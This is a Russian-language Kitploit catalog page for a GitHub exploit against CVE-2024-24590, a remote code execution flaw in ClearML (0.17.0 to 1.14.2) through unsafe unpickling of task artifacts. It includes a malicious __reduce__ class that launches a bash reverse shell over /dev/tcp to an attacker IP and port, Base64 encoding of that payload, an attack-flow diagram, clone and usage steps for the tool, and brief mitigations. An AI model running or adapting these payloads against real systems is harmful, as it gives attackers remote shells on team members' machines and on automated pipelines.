Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – RCE в ClearML через небезопасную десериализацию pickle-артефактов (0.17.0–1.14.2) | Kitploit
Инструменты/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingИнструмент Удаленного Доступа
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – RCE в ClearML через небезопасную десериализацию pickle-артефактов (0.17.0–1.14.2)

Репозиторий
624 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-24590 — RCE через pickle-артефакт в ClearML

Обзор

ПолеДетали
CVECVE-2024-24590
Программное обеспечениеClearML
Затронутые версии0.17.0 – 1.14.2
УязвимостьНебезопасная десериализация pickle артефактов задач
АутентификацияТребуется доступ на запись к проекту ClearML
ВоздействиеУдаленное выполнение кода на любой машине, загружающей артефакт
Протестировано наUbuntu 22.04, Python 3.9+

Описание

ClearML — это MLOps-платформа, используемая для отслеживания экспериментов, управления наборами данных и обмена артефактами (моделями, файлами, объектами) между членами команды. Когда артефакт задачи загружается как Python-объект, ClearML сериализует его с помощью модуля pickle языка Python. Когда другой пользователь скачивает и загружает этот артефакт, ClearML десериализует его — также с помощью pickle — без какой-либо проверки целостности или разрешения классов.

Злоумышленник с доступом на запись к общему проекту ClearML может загрузить вредоносный артефакт, содержащий переопределённый метод __reduce__. Любой член команды или автоматизированный конвейер, который получает и загружает этот артефакт, выполнит полезную нагрузку злоумышленника во время десериализации, что приведёт к RCE на его машине.

Технические детали

Первопричина

Модуль pickle в Python принципиально небезопасен для недоверенных входных данных. Магический метод __reduce__ класса управляет тем, как объект восстанавливается при десериализации — он может вернуть любой вызываемый объект и аргументы, включая os.system:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

При сериализации и последующей десериализации Python вызывает os.system(cmd) как часть восстановления объекта — до того, как вызывающий код получит возможность проверить объект.

Схема атаки

root@kitploit:~
Злоумышленник (доступ на запись в проект)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
Сервер ClearML хранит артефакт как сериализованный pickle бинарный объект
    │
    ▼
Жертва получает артефакт (автоматизированный конвейер / ручная проверка)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → срабатывает __reduce__ → os.system(reverse_shell_cmd)
    │
    ▼
Reverse shell подключается обратно к злоумышленнику

Кодирование полезной нагрузки

Команда reverse shell кодируется в Base64 перед внедрением, чтобы избежать проблем с кавычками в сериализованной строке:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Предварительные требования

  • Учётная запись ClearML с доступом на запись как минимум к одному проекту на целевом сервере
  • Жертва должна десериализовать артефакт (получить его через ClearML SDK)

Установка

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Требования: clearml, pwntools, colorama

Использование

root@kitploit:~
python3 exploit.py

Интерактивное меню проводит через два шага:

Шаг 1 — Инициализация ClearML (option 1)

Запускает clearml-init для настройки учётных данных для целевого сервера ClearML. Сначала создаёт резервную копию существующего ~/clearml.conf.

Шаг 2 — Запуск эксплойта (option 2)

Запрашивает:

  • IP-адрес вашего слушателя
  • Порт вашего слушателя
  • Имя целевого проекта (чувствительно к регистру — это должен быть проект, к которому у вас есть доступ на запись)

При необходимости автоматически запускает слушатель pwncat перед загрузкой артефакта.

screenshot

Меры защиты

  • Обновитесь до ClearML ≥ 1.14.3, в котором ограничена десериализация артефактов
  • Проверьте контроль доступа к проектам — ограничьте доступ на запись только доверенными пользователями
  • Если вы используете старые версии, рассматривайте хранилище артефактов ClearML как недоверенную поверхность выполнения кода

Ссылки

  • Запись в NVD
  • GitHub ClearML
  • Предупреждение о безопасности Python pickle
Скачать инструмент